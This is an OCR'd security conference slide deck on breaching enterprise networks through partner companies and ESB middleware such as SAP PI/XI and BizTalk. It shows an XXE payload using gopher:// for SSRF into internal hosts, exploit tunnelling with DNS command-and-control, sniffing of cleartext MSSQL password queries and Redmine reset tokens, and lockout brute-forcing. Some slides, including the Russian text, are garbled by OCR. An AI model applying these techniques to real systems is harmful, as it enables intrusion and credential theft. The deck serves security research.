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The question

How to break a secure enterprise network?




Hint

What do we do if we have a secure target website

on a hosting?




* We can do the same for companies

* Just Google for the target company
suppliers and customers

* Pwn one of them
* Find a link to the secured company




Almost all big companies are connected to each other
To make their business work

For example, companies generate automatic Payment Orders
from one business application to another

They use some kind of middleware to do this

Sometimes, those systems can be open to the Internet
Mostly not

But they must be open for partners

What kind of systems are u talking about?




Enterprise Service Bus
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Nothing
— Actually, very little info

They can have vulnerabilities
— A lot of vulnerabilities

Because they are complex
— Very complex

And very customized

— Because it’s more of a framework than software




ESB is all about DATA

* Missing encryption
— Not so easy to configure, so mostly unencrypted
— A lot of swag data transferring

e Support for a lot of interfaces and protocols

— Many points of failure
— Can be used as a proxy to attack other systems

And, of course, all the other software security problems




We have one bonus

As we have already pwn’d the connected
company

We have auth data to connect to ESB
interfaces

But our goal is to jump through ESB to the
target company




IBM Web Sphere MQ

Middleware application for handling messaging within an enterprise
network
The first ESB that was publicly researched for vulnerabilities (in 2007)

A great presentations by MWRLab

Whitepaper with 87 pages of MQ insights!
http://labs.mwrinfosecurity.com/assets/141/mwri_websphere
-mg-security-white-paper-partl 2008-05-06.pdf
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SAP NetWeaver PI / Xl
Tool for process integration / system integration
Has SOAP Adapter
With default services
We found one that was
accessible without authorizations
Accept XML: any XML based attack (Patched by SAP Note 1707494)

/XISOAPAdapter/servlet/com.sap.aii.af. mp.soap.web. D| I be rtMSG

More about this later




[* 172.16.0.63:50100/XISOAP. x

« > C |_D__172.16.0.63:50100/)(ISOAPAdapter/servlet/com.sap.aii.af.mp.soap.web.DiIbertMSG?format:post

ISearch by name or XPath l

<dmsg:statements xmlns:dmsg="http://sap.com/fun/dilbert/msg” title="Mission Statements™>

http://172.16.@.63:58188/XIs0aPadapter/servlet/com.sap.aii.af.mp.scap.web.DilbertMsc2help

<statement>
It is our job to interactively restore value-added information to stay competitive in tomorrow's world.
</statement>

</dmsg:statements>




MS BizTalk
For the same purpose

ESB toolkit used to be additional software, but in
BizTalk 2013, it is integrated

O results for “BizTalk Security” in search engines

Doesn’t have default services with auth bypass :(




HauwoHanbHblii LleHTp ¥Ynpaenexwna B KpuzncHbix Cumyauuax (HUYKC) MUC Poconn BHegpaeT AHC Ha
baze Microsoft BizTalk Server

HUYKC MYC Poccii BHeApReT 3ETOMATHIMPOEIHHYID MHDOPMALHOHHYI0 CHCTEMY, OOHKM W3 KOMNOHEHTOR KOTOPOA CTan
Cepeep WHTerpaumu Microsoft BizTalk Server, nozBonvewdid obkeguHuTe W T-MHOPaCTRYKTYRY B €4MHOE NPOCTPEHCTED W
peWWTL NpofneMsl TEPPUTOPHANEHON PACNPELENEHHOCTH W CNOMHONOOYMHERHON MEpapXMYeckol CTpYRTYPR MYC,

BHegpeHue AWC obecneunno nepexon HUYKC Ha HOBble TEXHONOMMK YNPABNEHKWA, B Y3CTHOCTH, NOZEOAWND
IETOMaTHZMPOBaTE W opManuzoeaTe chop, obpaboTky W NpeACT3BNEHME OpradaM ynpaenedua PCYHC onepaTHEHONA
MHpopHMaLKMK o YC, OpraHyzanme MOHMTOPWHTE M NPOrHOZMpoBaHKA YC.

>

Aetoxpegut B Halyk Bank ¢ nomowbio BizTalk Server 2006

QAO «Pycb-BaHk» Halyk Bank - kpynHeAwWi yHHEEPCANEHLIA KOMMepUyeckuid Badk PecnyBnuiu

Kazaxcrad. becnepeboiinan paboTa Halvk Bank, kak W nioboro apyroro KpynHoro
MHEHCOBOTD YYD EWAEHHA, HEPSSPLIBHD CBAZAHE C O0MHHLIM
YHKLUMOHWPOBAHWEM M0 MHGOPMAUMOHHONA CHCTEMbl. MUANKOHL KNWeHToE DaHka
OMWMOZNOT KAYECTBEHHOMD W OLCTpOro obCny:MB3HKUA, 3 JeCATKM
NpefocTaEnAeMblx YOIYT MHOTOKPATHO YONosHAKRT WT-uHbpacTpykTypy
DaHKOBCKOW CaTH.

PycbbaHk

JeyHanpaenesHas «oHNalHs UHMEespaULus cucmeM «L{OT-Ganks U Diasoft Workflowfe) BANK Ha
Gaze uHmeszpaduoHKol nnameopmel Microsoft Biztalk Server

HITETPHPYEULIE CHCTEML: _ Microsoft BizTalk Server 8 BMW Bank

s gl l®T-Banks (Mnardopma pa3BMTMA Ha
DUHAHCOBLIX TeXHONOMMA;

« Diasoft Workflow(e) BANK, nponseoncrea komn: B <BMB BaHke 3anyWeHo B NpOMbILNEHHYID 3JKCONYATAUMK WHTErpAUMOHHOE pelleHWe, aEToMaTManpylwee
BAMHERWKMA 3Tan NpogasW aeTOKPeAMToOE — NPOUSOypy NPOEBEPKM O3HHEX O NOTEHUWANBHOM 338MIMKE W ero
nopyuuTenAx. Co3agaHHoe KoMmnaHwed sHeodnekcs peweHWe NO3BONAST CHW3IWTE BPEMA NPOBEPKW HAOEMHOCTH
33ABMTENER No OOHOW KpedWTHON 33ABKE 00 HECKOMBKWX MWHYT, 3 TAKME B CNyYae NONOMMTENEHOTD pELWEHMA
ofecneyneaeT Nepegady gaHHex B ABC GaHKa AnA aBTOMAaTWYeCKore GopMUpOBaHNA KPEOWTHOR AOKYMEHTALMN.

PeweHre peanuzcBaHo B apxuTekType SOA Ha nnatdwopme Microsoft BizTalk Server w BeINOAHAET pofb
CEBAZyHLWEro 3neMeHTa, obecneuweakwero ezavmogeiictere AEC Banka M poHT-0WCHOTD NPUNOXEHWA CO

CneynanvznpoBaHHbIMK BHYTPEHHHUMK Bazamu BaHKa W BHELWHMMA WCTOUHWKEMM HHEI]DFI'MEILI,HH.

HurerpaunonHan nnargpopma: Microsoft Biztalk Sel
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You send data to a virtual “Input port”

The port can be anything, from a file to an FTP folder or a web
service or something else

BizTalk takes this data and transforms it (Orchestration)
There are special tools to perform the transformation

Then the packet is sent to an “Output port”

So, the simple transformation can have common XML issues
depending on the application




Different ways to transfer data

—Simple transfer (Static binding)

—Bindings (Dynamic binding)

—Itinerary




Transfarm_1.bert ¢ WG ST R TN s Request,xsd Response, xsd
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The operation is performed by a functoid

There are a lot of functoids with math and logical stuff
One of the funniest to attack is Database lookup functoid
If u find it in some XML, u can connect to external DB’s
Sometimes with integrated security (trust)

Provider=msdaora;Data Source=thisdb;Persist Security Info=False;Integrated Security=Yes;

* Also supported: Sybase, Oracle, MySQL, Informix, FoxPro,
Firebird, Exchange, Excel, DBase, DB2,Access ...




Virtual ports must be linked to the real ports they call (binding)

Static binding. A static port is already configured at the time of
deployment to use a transport so as to deliver messages to a

specific external end point. A transport type selects an adapter and
a URI address.

Direct binding can also be used to send messages directly into the
message box. External binding configuration cannot be used with
directly bound orchestration ports.

Dynamic Binding. Transport types and locations dynamically
selected by dynamic ports. The orchestration port is responsible for
having the required properties created within the message context.




E]:NADrderDuc_KPATH_FILE.:-ch - Motepad

File Edit Format Wiew Help
<ns0:orderpoc xmins:ns0="http:/ /globalbank. esh. dynamicresolution. com/northamericanservices,/ ">

<ns0:customertamesmMmicrosoft</ns0:customerhame:s . . .
<nsO:ID>FILE: //C:\Projects’\Microsoft. Practices. ESENSourcehSamplesiDynamicresolution\Test Filed

<nsQ:requestType>l0i</Ns0:regquestTypes
</ns0:orderbocs




EJ:NADrderDuc_XPATH_FILE.HmI - Notepad
Eile Edit Format Wiew Help
<nsQ:orderboc xmlns:ns0="http:/ globalbank. esh. dynamicresolution. com/northamericanservices, "=

<ns0:customerbamesMicrosoft</ns0:customeryNames

<ns0:ID>FILE: /A Mhevilhosthaaaa</ns0:ID>

<nsO:regquestType>l0</nsOirequestTypes
</n50:orderDDc>r
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Itinerary-based routing simplifies the development of
enterprise-level messaging

In simple words, an itinerary is a sequence of operations
performed on a message

An itinerary consists of the list of services to execute (which
can contain routing, transformation, and custom services)
and the configuration information required to resolve the
metadata necessary to execute each of these services

For example, it may instruct the service to perform UDDI or
Business Rules Engine (BRE) lookup for information about a
specific target end point to which it will route the message

A huge area to have fun




OK, cool, but how can we find all this stuff?
Except sniffing?

Answer: UDDI

Database of all web services installed on BizTalk

Just look for ports 80 or 8080 for /uddi or /uddipublic
Add WSDL to URL :)




uddi

Home Search

2 http:/ /S services/Flight.asmx
A binding represents an access point and one or more instances of the service that can be accessed at that point. An Instance Info typically points to an interface ¢
Details Instance Infos Categories
Details present the access point, protocol supported, and a brief description of the binding. The binding key is unique and is intended for use in programmatic

Access Point:
http:ffvw_ser\ricesfFIight.asmx

URL Type:
endPoint

Binding Key:

uddi:b6147474-00e6-441b-af63- i N




¢identity impersonate="true|false"
userflame="domain\username”

password="password" />




So, u are inside the
company’s network

Now what?
o
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But wait.
There must be some links!
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And...
Attackers can use them!
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But how?
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A possibility to use a vulnerable server as a proxy to attack
other servers located in secure subnetwork

A way to jump from one subnetwork to another
A lot of examples of how to run SSRF attack

We can use any popular business application to run SSRF
More details about SSRF

— Part 1 http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-
applications-whitepaper.pdf

— Part 2 http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc .pdf
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For every SSRF attack, there must be at least 2
vulnerabilities to successfully trigger the attack:

* First vulnerability
— Functionality in some service on Server A which allows us to

send remote packets (for other types of SSRF)

* Second vulnerability
— Vuln. in service on server B (for remote SSRF )
— Vuln. in localhost service on server A (for local SSRF)
— Vuln. in client app. on server A (for back-connect SSRF)




A lot of XML stuff in ESB
XML seems to be the new TCP
Almost all big projects use XML based data transfer

There are a lot of XML based protocols with different options to
call external resources and thus conduct SSRF attacks

There is at least one element type which fits almost all XML
based schemes. The type is: xsd:anyURI

URIs also encompass URLs of other schemes (e.g., FTP, gopher,
telnet), as well as URNs

Popular URIs: http:// ftp:// telnet://




XML
— XML External Entity
— XSD definition
XML Encryption
XML Signature
WS-Policy

From WS-Security
WS-Addressing
XBRL

ODATA (edmx)
— ODATA External Entity
— Other

BPEL
STRATML

Details: http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc .pdf
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<?xml version="1.0" encoding="15S0-8859-1"7?>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY date SYSTEM “gopher://172.16.0.1:3300/AAAAAAAAA" >]>
<foo>&date;</foo>

What will happen??




XXE Tunneling (Example)

Server A (Portal or XI)

ﬁ)ST

/XISOAPAdapter/servlet/com.sap.aii.af.mp.soap.
web.DilbertMSG?format=post HTTP/1.1
Host: 192.168.0.1:8000

—

192.168.0.1

<?xml version="1.0" encoding="1S0-8859-1"?>
' <IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY date SYSTEM = | AAAAAAAAAAAAA Server B (ERP,
gopher://172.16.0.1:3300/ AAAAAAAAA >]>/ HR, BW etc.)

<foo>&date;</foo>

%

telnet 172.16.0.1 3300




Next step is to pack exploit in packet B inside Packet A

We need to insert non-printable symbols
God bless gopher; it supports urlencode like HTTP
It will also help us evade attack against IDS systems

_——*_
Packet A

POST /XISOAPAdapter/serviet/com.sap.aii.af.mp.soap.web.DilbertMSG?format=post HTTP/1.1
Host: sapserver.com:80
Content-Length: 7730

<?xml version="1.0" encoding="1S0-8859-1"?>

<IDOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY date SYSTEM “gopher:// ">
<foo>&date;</foo>



XXE Tunneling to Buffer Overflow (Result)

-

POST
/XISOAPAdapter/servlet/com.sap.aii.af.mp.soap
web.DilbertMSG?format=post HTTP/1.1

Host: sapserver.com:80

<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY date SYSTEM “gopher://[packetB]"

<foo>&date;</foo>

>1> /

Server A on the
Internet
(SAP XI)

http://company.com

Packet C — Command and
Control response to attacker by
DNS protocol, which is allowed
for outband connections

et

ﬁ

;

Server B in DMZ

exploit

Shellcode ;

service with
DNS
payload




Great, we can jump from one secured
network to another.
What’s next?

T —-



All your systems have password lock policies
Because we are in a secure company, rrright?

And secure applications send passwords securely

While user is authenticating




* All your systems have password lock policies
* Because we are in a secure company, rrright?

* And secure applications send passwords securely

* While user is authenticating!




OK, but what about creating a new
user?

e —



Create new user, MsSQL

Realtek RTLB139 Family Fast Ethernet Adapter (Microsoft's Packet Scheduler) : Capturing - Wireshark

File Edit View Go Capture

Analyze Statistics Help

el e 2 AesDHTI QRAA B | WM B
Filter: |ip.addr == 172.16.1.13 &g tcp.port == 1433 ¥ Expression... Clear
Mo, - Time Source Destination Protocol Info

U
21663 420.312249 172.16.1. o
21673 420.4459821 172.16.0

Channel: 0
Packet Number: 1
window: 0

= TDS Query Packet

Query: CREATE LOGIM sh2kerr WITH PASSWORD = 'testtest';

0000
0010
0020
0030
0040
0050
0060
0070
0080
0090
00ao

Text item (), 100 bytes

Packets: 23423 Displayed: 47 Marked: 0

TCF
TCP
TCF
TCF

TCR
TCR
TCR
TCR

Response Packet
17475 = ms—-sgl-s [ACK]
- . T

Profile: Default




The same applies to when a user is
changing their password due to
security policies

S ——



File Edit Yiew Go Capture Analyze  Statistics  Help
BEHNON EEXZTE A¢+0TLIEBE QAQQB | FEMR% O

Eilter: |ip.addr == 172.16.1,13 &2 tcp.port == 1433

174701
174702
174703
174704
174705
174707
174708
174709
174712
174713
174714

' ] — - W )
Channel:

Packet Nu
window: 0

. 346728
. 548758
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. 554442
o 938 7kl
. 575462
. 575507
. 576432
. 580322
R

Source Destination

' PFRPooFPFolFPFoEo

Q
mher: 1

TDS Query Packet
Query: ExEC master.dbo.sp_password @old=NULL, @new=N'testl23', @loginame=[testl]

0l Od 46 6T 05 99 06 8e 76 42 9c 40 77
fc 2h ca 00 00 01 01 00 9a 00 00 01
RO 0 Bl T

4
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0 Q0 40
d 00 &5

00 5d 00

Text item (), 146 bytes Packets: 193468 Displayved: 404 Marked: 0 Profile: Default

¥  Expression...

Realtek RTLEB139 Family Fast Ethernet Adapter (Microsoft’s Packet Scheduler) : Capturing - Wireshark

Clear  Apply

Protocol

Info

Query Packet

Response Packet

Query Packet

Response Packet

qQuery Packet

Response Packet

[TCP segment of a reassemblec
query Packet

ms-sgl-s » 18031 [ACK] Seq=2i—
Response Packet

QuUery Packet




More than real. 5000 users change
pass every 90 days
=>
Every hour, 2 users change their
passwords

e



If we don’t want to wait, we can brute
until the account is locked, then the |
administrator will unlock it and 99%

change the pass

s N



e Just because | sometimes want to speak about

something other than SAP and Oracle, so let it
be MS

* |t's everybody’s problem




MySQL

Oracle console

Oracle Enterprise Manager
MsSQL Console

MsSQL Enterprise Manager

etc...




* We need some kind of user interaction

e But that’s not so tasty

* Let’s look at something else




REDMINE

flexible project management

...And 50 more




Noh I’'m not talking about XSS/SQLI/LFI/OMG/WTF/ETC

Of course they exist, but
We are in a “very-very secure” company, which has WAF

And HTTPS

Really secure HTTPS (yes Moxie)




N AoMamHAR CTPAHALLS e® NMNpoexT @ Mosougs

Redmine

BoccraHoBneHMe naponsa

Email *




no-reply-redmine @ RMEG—_—G NN

CKPEITEIM NONYYaTenamM =
EEA aHrmuilckin > > pycckwil > [Mepesecti coobuweHne

To change your password, click on the following link:

http-/ired ru/account/lost_password?token=41db72441960ec6d95af782174b3381d21 N

Login: sh2kerr




Sniff mail requests

Mail requests are unencrypted




Access to the kingdom




Because they usually have a wiki
where all the neat stuff is stored,
like keys to other systems

T



Questions?

web: www.dsec.ru
WWW.erpscan.com
e-mail: a.polyakov@dsec.ru

Twitter: @sh2kerr

Big thanks to Nikolay Mescherin :)
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